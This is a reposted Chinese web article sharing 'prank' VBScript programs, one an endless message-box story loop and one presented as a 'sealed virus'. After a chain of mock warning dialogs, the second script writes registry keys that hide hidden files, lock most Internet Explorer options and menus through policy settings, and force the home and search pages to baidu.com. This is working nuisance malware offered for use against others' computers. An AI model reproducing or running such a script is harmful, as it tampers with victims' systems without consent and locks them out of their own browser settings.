一些很恶作剧的vbs程序代码
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
输入中文后英文要取决于你的电脑会讲英文还是中文! 复制代码 代码如下: dim a a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作") if a=vbyes then do msgbox("从前有座山") msgbox("山上有座庙") msgbox("庙里有两个和尚") msgbox("大和尚给小和尚讲故事说") a=1 loop while a=1 end if 将默认页,搜索页设置百度 复制代码 代码如下: if msgbox("这是被封印的东西",65,"警告!!!") = 1 then if msgbox("请不要一意孤行",65,"警告!!!") =1 then if msgbox("不要再按了!!",65,"警告!!!") =1 then if msgbox("气死我了.....",65,"警告!!!") =1 then if msgbox("既然这样...那么这个东西就归你了!",65,"祝你愉快!886") =1 then msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快!886" msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了!!!!",65,"封印解除!!" on error resume next dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=wscript.createobject("wscript.shell") set fso=wscript.createobject("scripting.filesystemobject") set myfile=fso.GetFile(wscript.scriptfullname) wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com" 很久很久以前,好像是高考后的那个夏天,收到过朋友的一个恶作剧程序,程序名为“一篇感动 |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
关于一些很恶作剧的vbs程序代码的所有评论